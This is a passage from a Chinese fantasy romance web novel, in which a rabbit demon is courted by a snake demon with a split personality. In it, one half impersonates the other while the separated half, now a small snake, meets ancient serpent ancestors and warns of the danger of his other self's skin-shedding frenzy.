她的意味已经很明显,显出的妖性,嘟起的唇,全在身体力行地要着鼓励,也提醒着息尘答应的话—— 忍不住了,要亲亲。 裴息尘几乎要压不住本性地想捏住她的唇,恶劣地嘲笑她。 但现在他扮演的是息尘,装模作样的伪佛子,必然要扭捏犹豫,最后大义凛然不情不愿同意她来亲他。 他硬生生忍住了本性的恶劣,做出为难的姿态。 少女的脸在他为难之际越凑越近。 亲上一刹,他吃惊地张唇,小兔双眼发亮地趁机而入。 她在亲他,也在吃他,舌勾着舌,灵息相渡,强者的修为无疑是最佳的奖励。 但当她贪心得神魂都想闯入时,裴息尘闭了识海,灵息尚且能伪装,识海中分裂的残缺,却也是他受伤的表现之一。 玉扶嫌他小气,生气咬了咬他的下唇。 然而,并没有被推开的纵容,令她并不想松开口,作怪地咬一咬,舔一舔,害羞的佛修就加重了呼吸,绷紧了身,大抵除去渡情期的影响,她本就是贪玩好色的兔子,像吃了酒一样,她亲得晕然快乐。 眼睫在她脸颊上虚虚颤动,她甚至没有发现住所闯入了一条小蛇,那小蛇被隔在不远处,豆豆眼中满是震惊和非礼勿视的无措,可看着自己的脸与少女动情的亲吻,又极具冲击美感的忘乎所以,那是他又非是他。 分割的意识,以一种直观的画面共享着感官。 阿扶,似乎并不用他担心。 阿裴,用挑衅的眼神乜他。 下一刻,阿裴衣袖摆动,一阵飓风掀过,不知费了多少力才出现的小蛇,被丢得没有十万八千里,也有几百上千里。 玉扶也被息尘挥袖的动作推开,眸色迷茫:“我好像听到什么飞出去的声音。” “息尘”似被玉扶亲懵了,苍白但因亲吻而洇红的面色,显出没听清玉扶说话的空白,甚至,他还在困窘地擦唇。 湿红的唇,华美面庞上唯一的艳色。 他不像疏离的金樽玉像了,像染上红尘的堕佛。 玉扶俨然忘记自己问了什么,盯着很不一样的“息尘”,识海里的神魂小兔又发出饿了的叫嚣,她嘟着唇,还想亲亲。 “阿扶,不可了。”裴息尘揣摩着息尘才有的道德,冷淡着慌张的声线拒绝。 玉扶更兴奋地往前蹭:“一下,就一下,好吗?” “我血脉进步了嘛,妖性管不住嘛。” “你都说忍不住了,可以寻你的。” 她耍赖式地撒娇,裴息尘发酸地在心里冷笑:色兔子,真是欠收拾。 可任心里多么咬牙切齿,面上还要摆出不为所动的正派神情建议:“阿扶,你可颂念心经。” 玉扶怨念地收回眼,心经心经,她又不是佛修! 许是她的目光太怨念,也或是裴息尘本就欲擒故纵,他退让似的叹息一声:“我与你说说话也可。” 玉扶忙不迭地点头,和息尘说话,总比背心经有趣。 她爬坐到一旁,调整了个舒服的姿势,托着脸看息尘,她喜欢这种从下往上瞧的位置,既可以避开他正派过头的直视,也可以瞧见他说话时,滑动的喉结,还有一看就很软很好亲的嘴唇。 最重要的是,这种角度,她可以慢慢地搭上他的膝,与他贴贴。 玉扶做好准备地问:“你要与我说什么呢?” 裴息尘略一低眼,便能将她整个人纳入眼底,色兔子真是对谁都一视同仁啊,以往便是这样说着话就爬到了他身上,现在对着“息尘”也又是这套路。 他控制着自己满是暴戾的内心,缓出柔和的眸色:“阿扶,你是怎么看待我的?” 玉扶有点意外息尘竟会问这样交心的话题,他不呆瓜的时候,原来也是会聊天的嘛,几乎不假思索地道:“你心肠好,很厉害,还总帮我,我很喜欢你啊!” 她一派天然纯澈,尤其说至喜欢的时候,宛然生动,明亮至极,全然不知眼前人的阴暗与怒气。 怒极,面上却除笑意淡得快瞧不见外,倒是没有带出旁的情绪,裴息尘继续问玉扶:“阿扶不会觉得我奇怪?毕竟我体内还有阿裴。” 说着,他落睫,遮了眼,面色苍白,语调也略带上了几分难以提及的困苦。 轻易地,玉扶被他偶然显出的脆弱揪起心,脑中几乎自己就补全了息尘反常的缘故,一定是阿裴又作怪了,息尘受到一些她看不到的伤害。 这完全就是阿裴能做出来的事。 她挺起身地摇头道:“息尘,我怎么会觉得你奇怪?” “你一点也不奇怪,你是我见过心肠最好的佛修。” “身体里还有一个人也不算什么,我听我师姐们说,很多修士修炼出了岔子的时候,也会觉得自己是另一个人。” “还有夺舍不成功,最后一体两魄的修士。”玉扶绞尽脑汁地想,恨不得连师姐谈论的话本例子也用上:“还有还有专门炼分魂的魔修……” “反正,一点也不奇怪。” 她说得又认真又着急,裴息尘的心沉了又沉,能想出这么多例子,她还真是照顾息尘的心情,如果知道他并不是“他”,她还会这样诚恳急切吗? 裴息尘唇角扯了扯,接着问:“阿扶,那你是怎么看待阿裴的?” 这问题,玉扶反射性地心弦紧了紧,唇张了张,有些忸怩起来,她说了那么多例子,安慰息尘的同时,可不就是觉得阿裴的存在也不奇怪嘛。 可要说出来,又有了欺负老实人的嫌疑了。 她不能总仗着息尘的好心肠,就总掺带着提起阿裴吧,阿裴那么讨厌息尘,息尘也不见得就完全对阿裴没有变意见,不然怎么会突然与她聊这些话题呢? 裴息尘坐在她上方,满眼都是她低头躲避的纠结模样,一口浊气堵在胸腔之间,险些伪装不下去的躁怒,该死的兔子,他对她也不差了,竟然连提起都觉得为难。 眉目间一瞬敞放的压迫性,将他的脸从眉眼开始分割,一半凶狠,一半假面一样的淡然。 好在,玉扶坐得矮,只是虚虚掀眼,又很快低下头,并未见他充满侵犯感的目光,否则,她决计说不出话来。 就在裴息尘将要暴走边缘时,玉扶说:“阿裴,不是说过了吗?” “息尘你知道的啊。” 她面上一抹赧然的红,将问题重新抛回了眼前的“息尘”,眼中还若有若无着“说过的,你不记得了吗”的困惑。 说过吗?说过什么?色兔子同息尘说了什么他不知的话?能让她的脸出现这样的荡漾的红? 尤其是,同他有关? 裴息尘胸腔中一团气愤的火焰霎时熄了火,他开始好奇起,在他昏沉的最初两日里,她说了什么? 彼时,他虚弱,昔日之境情形也未明,他不得不暂放弃躯体的掌控,唯有那两日,他无知无感,失去了对他们相处的感知。 “嗯,我知道的。”他绷住口气,恍若真的知道一般,适时显出几分无措:“是我寻错了话题。” 玉扶恍然大悟,息尘原来是不知和她谈什么,才不小心问到阿裴,他真笨,一点也不会聊天,玉扶大发善心地决定将话题进行下去,她托着脸,慢慢瞧着外头显出的天色道:“阿裴就是坏蛋啊,脾气也不好。” “可是他对我挺好的,你们对我都好。” “是我出来后遇到的最好的”玉扶颇有点难定义人还是妖,顿一会补全:“最好的半妖。” 说完,她也不等“息尘”什么反应,着急道:“天亮了,我要修炼了。” 倏地化为原形,跑出了屋内。 她毛茸茸的脸颊都在发烫,半妖什么的,可真是为难兔子,她的感情倾向,就是这样摇摆的嘛,她觉得谁都好啊,可每每吧,总是要在其中一个面前提及另一个,他们真是一点也不考虑,她也是有羞耻心的妖。 灵活的兔子,顷刻不见了身影。 到这会儿,裴息尘也略搞懂了,玉扶还不算没良心,还记得他的好,只是,也太三心二意了些。 他缓缓露出了一夜来最真的一笑,又坏又意味深长—— 第54章 翠叶陆离, 朝露凝聚,缓缓从灌木中滴落。 一条小蛇窸窸窣窣地从灌木中钻出,满身都是青草泥土的气息, 一滴露水从叶间砸落,砸得小蛇激灵一下, 才惊觉不过是一滴水罢了。 甩甩头, 豆豆眼辨着周遭的环境, 半个时辰前, 他被阿裴甩出, 摔到一面石壁之上,许是这小蛇的身体本就是妖躯中最坚硬的蛇鳞所化,除了有点晕外, 他并没有受到什么伤害。 只是将近天明的昔日之境, 苏醒的兽类也不少,即便他们没开智,那也是同古妖同一时期的兽类,途中免不了被这些兽类驱赶, 甚至被顶起来甩。 直到他跑入了现下的区域, 那些活跃的兽类才不再靠近。 他也正能喘口气地想想接下来如何是好, 一体生出的两个意识,阿裴霸道无比,生生将他挤出了躯体, 甚至拒绝他的靠近。 可他们当真能分裂开吗? 自分开后,他心中一直有种惶恐, 这种惶恐驱使着他一定要靠近阿裴,不能任由他胡闹下去。 他有种不好的预感,完全凭借妖性掌控的躯体, 或会越发趋近古妖,而古妖又是为何建立的妖神学宫,不就是为了在继续获得强大力量的同时保持理智吗? 阿裴是否会失智? 息尘理智上不敢保证,可本能的直觉时时警惕着他,也催促着他,必须重新合为一体。 即便是靠近一些也好。 经过一夜的适应,他已能灵活地掌控着当下的小蛇躯体,他不断从灌木中穿过,欲先脱离圣山的范围,就在方才,他已经发现,竟然是误打误撞地闯入了圣山的范围。 他于草叶间隙中滑行着,堪要离开范围,遽然被无形的结界挡回。 冷静地用蛇首触碰试探,浑身发着要融入结界的灵光。 眼看要脱离,整个细长的蛇身却被无形气流当空捏起。 周遭草木模糊后退,移形换景似的,再出现,赫然是一个天然洞府,窸窣的摩挲,交尾绕着一个巨蛋盘缠的两条大蛇,一黑中带赤,一赤中带蓝,两个硕大脑袋正对着他。 古妖的威慑,将小蛇衬得无比渺小。 然,也就片刻的功夫,两条大蛇头撞头,尾缠尾,似乎起了争执。 女声:“好啊,妖始门道新入学宫的小辈中,或有我等流落的血脉,我本是不信,可这小蛇你如何解释?” 男声:“你我一同孵蛋,少说千年不曾离开,这不过一个年幼小蛇,如何赖上我?” 黑赤色的大蛇垂首,对着息尘喷出一口罡气:“小辈,你从何而来?” “前日窥探圣山的可也是你?” “当真是胡闹,竟连魂识都敢分裂。” “你家中长辈难道不曾告知你,我等古血大妖者,最忌失智,分裂魂识也不怕遭了反噬?” “速速归去,念你年幼,我不予你计较擅闯圣山。” 训斥告诫一句接着一句,当下就要将息尘小蛇重新甩出洞府,却被另一条大蛇拦下。 这条大蛇不与黑蛇争执时,明显更柔善许多,蛇身探来的流线都显出一股慈爱,她蛇舌如同闻气味一般仔细探过息尘小蛇。 蛇首半歪,倏而露出极为疑惑的神情,与其说这小蛇的气息血脉与他们相似,倒不如说是同被他们蛇尾盘缠在最中间的巨蛋更贴近。 越强大的妖想孕育子嗣本就艰难,何况是已为妖神的双圣,他们等了万年,方才等到一个孩子。 然,为父母者,尤不希望自己的孩子仍旧困囿于血脉的威胁。 故而,他们在孕育之时便操碎了心,最后决定提前诞下,再用漫长的岁月,最温和的灵息,一点点濯洗去孩子血脉中不安定的因素。 经过长久的灵力蕴养,只有巴掌大的蛋,如今已有丈高,蛋壳瓷白而透亮,几乎可见被清液包裹着的一条还未长成的小蛇。 大蛇看息尘小蛇一眼,又看蛋一眼,疑惑更甚。 息尘显然也注意到大蛇的视线,目光随之看去,共鸣般的震动于心扉荡开,血脉相连的感觉神奇地在此刻有了触动。 他似乎终于找寻到了只存在模糊记忆中,属于母亲的来处。 原来统一妖域的妖王当真出自妖神古墟。 即便他此时的母亲还并未被孵化,也可见的相似,一样的蛇鳞色彩,一样的血脉…… 这种相似,显然引起了双圣的怀疑,两条大蛇,几乎要将息尘看出花来。 许久,两条大蛇重新盘回巨蛋周身,黑蛇发出叹息:“原来如此。” “小辈,你我跨过时间相遇,想是定数。” “与我说说你的来意。” * 裴息尘对伪装成佛修欺骗一只兔子,没有半分羞愧。 他学着息尘的样子,揣带玉扶听课,某一刻,他失去了对护心鳞的感知,蓦然一空的心跳,令他朝看向圣山的方向—— 天幕灰濛,边缘暗黑,时间的流速快了不止一倍,上一刻,还满座的古妖,下一刻,身影全然虚淡,尊者授课之声逐渐轻到消失,空寂诡异得惊到了玉扶,她炸毛似的几步追赶,跟在往外走的息尘身边。 她看到那些消失的虚影重新出现,不正常地在虚实间闪动,甚至来来去去地几番从玉扶身边穿过,他们似乎不再能看到她与息尘? 昔日之境是在失序? 玉扶挪近息尘一步,紧张注视周遭的变化。 足有一盏茶的时间,那些古妖身影才重新凝实,一切好似恢复到原先的稳定。 但不久,时间再次加快,繁枝几经枯荣,玉扶眼睁睁看着昔日之境过去几十年。 他们就如此地的看客,参与不了,也什么都做不了,玉扶肯定,继续等待下去,她或许还能瞧见古妖覆灭的真正原因,但,她也不是特别好奇,她更在意,自己会不会被彻底困在过去的时间里。 甚至怀疑,突然的时间流速变化,是不是圣山在催促她快点努力。 可是,这是努力就能做到的事吗? 她蔫哒哒地拖在息尘身后,一次又一次纠结,最后下定决心地扯住息尘,鼓足了豁出去的勇气道:“去圣山吧,我可以试试。” 裴息尘眉峰下意识扬了扬,一戳就要漏气的兔子,竟真信了圣山传达的鬼话,也不怕自己先碎了? 他绽出温和的笑安抚:“阿扶,不急。” 至少在他蜕皮前,他并不准备离开,自被吸入此地,察觉这是何处时,他就已有此计划。 尤其,还经玉扶确认了他与此地的渊源,更是认定没有比这处更适合他变强的地方了,将息尘从体内赶出后,他沸腾的妖血无时无刻不在叫嚣着他可以更强大。 况且,经过观察,他留意到古妖口中除了常提及的学宫外,还有一个天妖盟的存在,天妖盟的理念完全同学宫相背,其认定是圣山和学宫的存在让妖在变弱,妖就该将天赐的血脉强悍到极致,用力量挑战妖血的威胁。 天妖盟崛起的时日不长,但拥趸者并不少,同学宫摩擦也日多。 几乎可想,古妖的覆灭逃不开两种观念的碰撞争斗。 但这也恰巧说明双圣会为护佑学宫离开圣山,届时,无论是击碎圣山的核心还是离开此处,都会容易不少。 他眯眼打量着天幕中荡漾开的波动,巴不得时间流动得再快一点才好。 玉扶的勇气被息尘一句“不急”戳漏了气,也学着他的模样看天,一波波荡开的灵力,像是有什么外力在企图闯入。 在他们进入此地之前,还有一堆被雪仙骗了的大妖,不会是他们在外头闯山吧? 裴息尘验证了玉扶的猜想:“他们进不来。” 一眼后,他毫不关心地行在不断跳动的过去时间中,那种邪气的不协调感再次令玉扶瑟瑟。 她实在不想将息尘往阿裴的方向猜想,鹌鹑似的将所有不对劲屏蔽。 直到屏蔽不了的时候—— 冰凉的触感灵活缠上她的手腕,有意闹醒地勾弄她手心,闹得玉扶无意识抽手,灵活的蛇尾才放过地绕向她的腰肢,拨开衣料滑入,她全身上下的肌肤软热得裴息尘发出舒服的喟叹。 玉扶从睡梦中惊醒,浑身都有些僵住,蛇尾卷过的鳞片剐蹭久久地停留在胸处,甚至还松一下紧一下地圈着她的软肉下缘,如同兜住一般地摩挲。 痒痒的,忽视不了的颤栗,她涨红了脸,睡意顷刻消散,她太知晓会这样作乱的是谁了,是阿裴醒了。 那他到底是个什么态度嘛,会小气地寻她清算吗? 尤在紧张地想着,促长的蛇尾尖尖作恶地从下缘向上触碰,玉扶装睡的眼睫猛地一颤,彷若过电的瑟缩从前胸一贯到头脑,她不受控地吟了一声,睁开了眼,正对上阿裴噙笑的坏蛋脸。 邪气的,不爽的,一看就像是要找人算账的坏模样。 有一瞬,玉扶想彻底晕过去才好。 但裴息尘显然并不想给她这个机会,他的蛇尾一滑而下,卷着她脚腕的内侧,慢条斯理地摩挲:“阿扶,你没有什么要同我说的?” 玉扶弱弱地缩了缩,轻咬着下唇,脑中不断想着该说什么,她不是没料到这种情况,还想了好多应对的办法,有撒娇耍赖的,也有干脆认错求饶的…… 可阿裴醒得未免太突然了些,她抖得间断的嗓音,最后只问出了:“阿裴,你的伤都养好了啊?” 一声轻笑拂过:“等到你现下才关心,到底是希望我好还是不好?” 玉扶拥着散开的衣襟坐起,立马表态:“当然是希望你好呀,我可想你了!” 说谎的兔子,要不是不久前他还装作息尘被她主动亲近过,那或还能有些信服力,他并不打算抛弃伪装,可一味地伪装,假意地拒绝,未免太便宜了三心二意的兔子。 他唇角绽出恶意的笑,开始与玉扶清算,他摩着玉扶漂亮的小脸,旖旎得有些过分的嗓调,吐出的话却是一点一点地在细数玉扶的背叛:“阿扶,你忘了我同你说的话,你让他碰你了” 细数的同时,蛇尾一寸一寸地向上缠,惩罚式地收紧,腿肉满溢,刺激的官感下,他对玉扶做了最后的判定:“阿扶,你不乖。” “我要怎么罚你才好?” 几乎不容玉扶辩驳,在她张口一瞬,凶狠的亲吻侵下,近乎侵犯地,被裴息尘舌尖抵着亲,每当她舌头努力往外推,便会被强势地卷吮回去。 激烈的亲吻,玉扶被亲得头脑发昏,呼吸困难,呜呜呜的吞咽在交缠的唇齿啧啧声中根本得不到体谅,就在她怀疑要被亲晕过去的时候,阿裴松开了她。 他没有在笑,眼眸沉沉的,攫向她的视线直令人心里发虚。 玉扶喘息着,唇瓣都还在发酸,脑子空白得连思考都变得迟缓,甚至有一刹,她觉得她脑子空白得听力也出现了问题,不然怎么会听到阿裴主动给她台阶下呢? “阿扶,我可以不罚你。” 玉扶豁地抬眼,眸色迷茫极了,比她还妖的妖孽轻勾她的发:“但你要补偿我,还要适应我。” 玉扶一时没有反应。 裴息尘危险眯了眸:“怎么,尝过他的味道,就忘了要对我的适应?” 玉扶终于想起地摇头,她当然记得了,在出发妖神古墟之前,他们说好的适应,只是后来完全没了机会,然后醒来的就是息尘了。 再则,她也完全没料到来自阿裴的暴风雨会这样的轻拿轻放。 轻易得她都能想东想西了,她觉得阿裴说话太有歧义,她每次都是浅尝辄止,都没能品出二者的区别来,不就是亲亲再偷点灵息修炼嘛,顶多就是一个亲她亲得凶一点,一个要她主动一点,感觉都差不多,根本不值得比较。 不过,这种不满足的想法,玉扶自然不会说,甚至还有一点期待和兴奋,她一边看阿裴,一边向下摸了摸他的蛇尾:“这样适应吗?” 裴息尘:“嗯,再摸摸。” 缓和了的气氛,玉扶又开始装可怜地提要求:“那你能松一点吗?我腿被缠得痛了。” 灵活的蛇尾松开了缠绕,转而送到了玉扶的手中,不止是尾巴尖,尾巴往下的一大段,也沉甸甸地压在她手心。 身体力行地要她适应,要她抚摸。 蛇尾犹如阿裴的敏感地带一般,玉扶每抚过一次,蛇鳞下的筋骨仿如被刺激到,猛烈跳动,蛇鳞都舒爽得要绽开了似的颤动,隐隐的 ,玉扶好像发现了些阿裴的不同以往,他的尾巴似乎又长了一点,也更敏感,蛇皮下方像是还有一层鳞。 玉扶不禁问:“阿裴,你是要蜕皮了吗?” “嗯。”裴息尘没有隐瞒,但蛇尾却好似不满玉扶越发懈怠的抚摸,尾端从她的手中溜走,卷着腰地将她提起,跪坐至蛇腹之上。 玉扶“啊”地惊呼,欲撑坐起身,下一刻,却被重新压回手中的尾巴尖按下。 真的太怪异了,两股下的韧感让她身子发软,从腰绕向前的蛇尾尖就像绑着她似的。 每当阿裴的蛇尾蜷一下,她便会也跟着滑动一下,偏生他这样作怪了,还要用尾尖抽抽她,让她不要懈怠,赶紧摸。 玉扶怨念极了地抱着一截尾巴摸摸,她就知道阿裴根本没那么容易放过她。 这分明就是折磨。 她摸了好久,久到手心都被蛇鳞磨得发红,身体异样得更是发水一样泛滥,她低着眼,都不敢去看坏蛋了,他真的太妖了,她摸多久,他就喘了多久,面皮潮红,乌发蜷散,简直浪.得没边。 有一瞬,玉扶都怀疑,自己摸的真的是尾巴吗? 还是说,蜕皮期的蛇都这样? 玉扶不否认,她是有色心啦,可比较一下她和阿裴的下限,她还是当个鹌鹑的好。 总之,也不知道摸了多久,别说是适应,她连害怕的情绪都变得麻木了,接受力高得看蛇尾都能冒出“可以”二字。 玉扶不知道是怎么睡过去的,梦里都在想着摸尾巴,以至于当裴息尘真从她身上抽出蛇尾时,她还下意识地摸了摸。 长长的蛇尾,锐韧又不失美感,某一段甚至有一些晶亮的水液,他欣赏地发出笑。 说实话,临近蜕皮,玉扶的这种安抚无异隔靴搔痒,还比不上放出真正原形时,磨蹭石壁时有效,可玉扶带给他的感官刺激却是无可取代的,光是看着她灵动的神情,圈着他尾巴时的强烈大小差异,他整个妖躯内的血液都沸腾无比。 蛇尾轻拍了拍玉扶,白牙贴近,展出旖旎暧昧的笑:“睡吧,乖阿扶,明夜我会再来。” 犹如听到他的呢喃一般,玉扶再醒来时,脑中全是“会再来”几字。 沉沉的身子,就像是做了一个好累的梦,一时竟难以区分真实与否。 一连捏了好几个清洁的法决,才令脑子也清明不少,她都做好了一出门就与坏蛋碰面的准备,没想,对上的却是将衣襟都合到脖颈的息尘。 他站在树下,眉目间清光奕奕,如有春意浸入冰雪,圣洁和煦得让人凝望不住。 息尘?阿裴? 大大的问号占满了玉扶脑海。 第55章 玉扶挪步上前, 眸光细致无比地扫过息尘的眉眼。 “息尘”摸了摸脸,疑惑又温和地问:“我脸上是有什么吗?” 玉扶一下子就寻不到一点不协调了。 好像真的是息尘? 那夜里的是梦? 玉扶很快否定,她身上都还有被蛇尾卷过留下的红痕呢, 阿裴必然是醒来过。 这种肯定,令玉扶垮了脸, 头都开始痛了, 联想到近来她总将二人看重叠了的怀疑, 她想到了个最糟糕的可能, 他们以后不会白天黑夜地不断切换吧? 或许, 还会突然就换人了? 那真是要疯了。 她只是想双修,为什么难度一直在增大。 无边的悔意直想换个对象。 “息尘”眸中邪气的兴味一闪而逝,一本正经道:“阿扶, 此方境域时间一直在加快, 已不适合再去听课了。” 玉扶不在意地嗯嗯,心里还在想着,之后日日夜夜可能要遭受的折磨,只感到一阵阵的承受不住。 她好想跑啊。 “跑”字一经从脑海中闪过, 她激灵得脊背挺了挺, 继而又丧了下去, 一则,要跑也得先破开了昔日之境;二则,就这样跑掉, 好像怪可惜的。 想着,她又偷瞟了一眼息尘, 长出头发的佛修秀颀若竹,气质静若湖,渺如圣。 唉, 真的好难舍得啊。 她变来变去的容情,什么都写在脸上似的,明明白白的贪心,也明明白白的迷恋。 裴息尘心底不耻地笑了笑,面上却半点不显,盖因此刻,不管是她迷恋的哪一个,都是他。 完完整整的,也不存在什么被他摒弃的一部分人性。 他的感觉好极了,那种迫不及待变得更强的渴望又涌了上来,他并不觉得有什么不对,只是稍耐下了些性子与玉扶安排。 这处经圣山回溯的过去,最大的价值或就是经古妖之口传授的妖法,可跳动的时间,这些传授已然变得不完整,余下的,除去凭依圣山重现的洗血池和些许灵物灵植外,也就只有击败古妖,方有可能掉落一些古妖法器。 后者几率小,也不太现实,玉扶从圣山分享的画面中瞧到过,唯有死前依附法器的魂念,才会被圣山保留了下来,那她如今能薅到的也唯有再多泡泡洗血池,然后多吃一点有助修为的灵植。 白日里,息尘带她摘灵草解经文,夜里,出现的阿裴缠着她适应尾巴。 唯一的共同点,大概就是他们确实都在开始为离开做准备了。 * 一日夜里,玉扶难得没有被再要求适应尾巴,阿裴在泡洗血池,他驱走了玉扶,既要她不看他,又要她不能跑得太远。 奇怪但又有些合理的要求,她偷瞧见了,完全展出妖躯的阿裴,光是蛇尾就比她平日里瞧见的还要大了许多许多。 洗血池都难以盛下他的庞大身躯。 她一边拔着草,一边用耳朵留意着阿裴的动静,她不是笨蛋,阿裴扮作息尘,一日两日的她或许还会反复疑惑,可一直相处着,便处处是破绽。 但是吧,她不敢问,也不敢点明她已经发现了,因为,只要阿裴维持着白天黑夜的不同人设,她应付起来,就还有休息的时间。 至于真正的息尘,玉扶料想,应是轮到他睡觉了。 她长长叹一口气,拔出一株灵草咬入口中嚼嚼嚼,不期然地与一条小蛇对上了眼。 与此同时,脑中响起了一个好熟悉的声音:“阿扶,要小心阿裴。” 玉扶惊得左右看,看来看去唯有眼前的小蛇与她对眼,这一留心,便发现这小蛇除了小一点,蛇鳞就同阿裴的蛇尾一个模子刻出来的,漂亮的宝石色。 但因为太小,少了强悍的凶戾,多了几分可人的喜感,尤其是他的脑袋和眼睛,玉扶忍不住伸手碰了碰他的脑袋。 他从玉扶的手心蹭了出来:“阿扶,不要闹。” 这次,玉扶真的张圆了唇,这种口气,不会吧!! 空气有一刹的安静,玉扶失声地指了指小蛇,又指了指阿裴的方位。 小蛇点了点蛇首。 一蛇一兔一瞬默契地鬼祟了起来,玉扶好奇极了,手片刻不闲地戳戳摸摸小蛇:“息尘,你怎么会变成这样了?” 她声音很小,但要躲开她的手,以他如今的大小,实在很难,息尘放弃了地被玉扶捧了起来,以传音告诉玉扶:“阿裴暂将我剥离。” “我同双圣学习了一段时日。” 玉扶点头,亮晶晶的双眼却紧紧盯着小蛇嘶嘶吐舌。 好小,还分叉,同圆圆的脑袋一起瞧着,好呆啊。 完全就是息尘嘛。 显然的,她都没听进息尘的话,也没有在意他的警告,息尘欲再提醒玉扶,却下意识又嘶嘶几声。 即便已经这种摸样好些日子,但仍旧不习惯,他极想控制吐出的蛇信,可小蛇并不比真正的大妖躯体,几乎所有的嗅觉与味觉,都要靠蛇信来辅助收集传递。 又是几声嘶嘶,玉扶的指腹触上了他的蛇信,少女的芬芳混着灵草的清香直冲大脑。 晕乎得当他反应过来时,他的蛇信已经卷上了少女的指节。 玉扶好玩又惊奇地盯着,同样是蛇,庞大过了头,就会令人生惧,可小得迷你,那就是好多好多的喜欢。 作为一只兔子,她甚至生出了可以养一条漂亮蛇的冲动。 不过,卡在息尘又要教训她不要胡闹的界限上,玉扶收了玩闹,乖巧地听小蛇一本正经地说话,除却她控制不住跟着小蛇移动的眼神。 息尘已经在尽力控制嘶嘶与蛇首晃动频率的同时,试图与玉扶说清楚。 原来,自他暂与阿裴分离后,便无意闯入了圣山,还同双圣认了亲,他是双圣的后代无疑,而也正因他的出现,双圣意识到他们已经死去。 足以守护圣山存在的双圣,何尝不是昔日之境中循环的关键? 他们的意识影响了昔日之境,循环出现差错,时间的流速将更快地走向覆灭之时。 “不是外头的大妖们想闯进来的影响吗?”玉扶皱眉。 小蛇点了点蛇首:“也有这个原因。” “那我们是不是要快点离开?”玉扶语气带上了焦急,还不免担忧道:“可阿裴还在蜕皮。” 伴着几声嘶嘶,息尘提醒:“正是他在蜕皮才更危险。” “阿扶,你去寻圣山的核心吧,这里交给我。” 玉扶还是有很多的疑惑,如息尘为什么会被剥离?他们本就迥异,分开了不是好事吗?为什么息尘这样忧心忡忡?阿裴蜕皮会危险在哪里?因为他变大变厉害会给她造成威胁吗?还有双圣现在如何了?圣山的核心是可以接近了吗? …… 来不及更细致地问,下一刻,暴动了的阿裴身体力行地让玉扶知道了是什么危险。 他就是最大的危险! 整个洗血池都蒸腾了似的,方圆数十里弥上了雾气,雾中大蛇时隐时现,好像发了狂,蛇尾拍倒石壁,铜铃大的竖瞳周围布满冰裂一样的红血丝,透过层层水雾望来,如同失智的野兽。 玉扶心跳都漏一拍地与之对望,只瞧见了凶煞与血腥,他—— 好像不认识她了? 息尘小蛇狠狠顶了玉扶一下:“阿扶,去寻圣山核心!” 顷刻,小蛇化作流光冲向浓雾中心。 玉扶惜命极了,在那一眼的震慑中回神,没有犹豫地跑离,双腿并不如原形跑得快,跑着跑着,她就化回了兔子形态,很远,仍旧听得地动山摇的吼声,她回望了一眼。 只见发了狂的大蛇,摇头摆脑,时与空气搏击,时又各种法光击在了自己身上,整片区域遍是尘嚣与怒吼。 疯了完全疯了! 玉扶一头扎入圣山,整个兔身遁入地下的同时,放出了许许多多的魂体小兔,四散开来寻着圣山核心所在。 寻找的过程并不容易,圣山是玉扶见过的唯一一座自己生出灵智的山,它够古老,也够复杂,山灵为媒,山体为载,这座山承载的情绪,多得玉扶放出的每一个魂体小兔都迷失了方向。 而属于圣山自己的那份灵智,掩藏在其中,虚弱且难以辨认。 玉扶不得不主动掐断了放出的魂体小兔,开始靠自己与圣山的微弱联系在山腹中寻找。 幸运的是,她没有受到任何阻拦和驱赶;不幸运的是,她进入的圣山好像有点脱离过去的时点,更接近妖神古墟的那座光秃秃周围全还全是各种山火的圣山。 真实得令人心安,可她也失去了与息尘和阿裴的联系。 他们不会困在昔日之境中出不来了吧? 玉扶一边找,一边控制不住想很多,还想起她在妖神学宫听过的第一堂课,授课尊者道,一味追求血脉强大的古妖是会失智的,那—— 剥离息尘的阿裴是在追求强大中迷失了吗? 玉扶不得而知,很快,她就没有心思想这些了,她只知道她快迷失在圣山的庞大的山体中了。 圣山承载的负面情绪,每一刻都在给她带来精神伤害。 她顶着伤害,知晓了更多古妖覆灭的原因,人族的挑拨,天妖盟的疯狂,学宫内部的叛徒…… 终于,妖神为尊的时代结束在了妖族自己的手中。 也终于,玉扶寻到了圣山的核心,她刨开挡住她的山石,用术法清理出供她活动的空间。 圣山的山体核心泛着柔柔的微光,忽明忽亮如同活物搏动的心跳,细看核心表面,也一道裂痕没有,像个会发光的漂亮石头。 比起击碎它,玉扶更想要它。 久久没有派上用场的无相石,与她心意相通地想要将圣山核心的遗留力量占为己有。 是啊,她的力量不足以击碎核心,可如果她吞了它的力量呢? 那核心岂不是会变为普通的石头,到时不就自然碎了。 她快活地绕着圣山核心转圈圈,倏然就想明白了,圣山哪里是一定要她击碎,分明是早就想将同源的力量送给她了。 不然的话,怎么就找上她这个小兔妖呢? 如同回应一般,圣山核心的光芒亮了亮。 她贴上脸,小声说了句“谢谢”,承诺:“我会帮你结束昔日之境中的循坏的。” “执念也好,痛苦也罢,就交给我吧,我一定让你负载的所有所有都重归天地。” 说完,她召出无相石,整个裹住了圣山的核心—— 第56章 比起玉扶, 洗血池对裴息尘的效用并达不到扩张血脉的作用。 但活络他的妖血,激出他的妖性并不难做到,几乎是在他将体内属于人修的金色脉络融合的一瞬, 压制已久的妖性彻底爆发。 藏在血脉里的修为,有他的, 有息尘的, 甚至还有来自他那大蛇母亲的。 充盈的力量胀得他的妖躯不断生长, 蛇躯粗壮, 每一片蛇鳞都深蓝幽邃, 坚如盾牌,每一次肌腹的收缩与舒展,蛇身鳞片都犹如波浪起伏, 发出细密交织的金属之声。 继而碎裂的“咔嚓”声率先从吻端决堤, 深蓝幽邃的蛇鳞表面色泽变得灰暗,一层隐现的透色肤膜缓缓咔咔显出,只要挣出这层肤膜,无异于强大与新生。 妖性更肆意地敞放, 妖力镀上肤膜下的每一片蛇鳞, 每一个毛孔都叫嚣着强大, 渴望着蜕变。 蛇躯搅动洗血池,摩擦山石,欲以蛮横的方式加速蛇蜕的完成。 他的心神似乎只剩下了变得更强一件事, 妖血充盈上瞳仁,眼前血雾一片, 本能的凶性驱使着他发泄,他开始锁定周遭的一切,最近的, 有令人厌恶的同源气息,还有甜美无比的少女气息—— 然而,在他捕向的同时,厌恶的同源也流光似的向他而来,一瞬冲击入他少了一片鳞的胸下。 蛇鳞完整,妖性也受到冲击一般地恍惚一瞬,脑海中突然出现了另一个意识,聒噪不休,甚至夺走他的力量。 他想起来了,这是被他剥离掉的息尘。 庞大蛇躯从桀骜不驯骤然转向了与自己搏斗,两股意识你啃我一口我啃你一口,互不相让,不同的法光也全落到了自身。 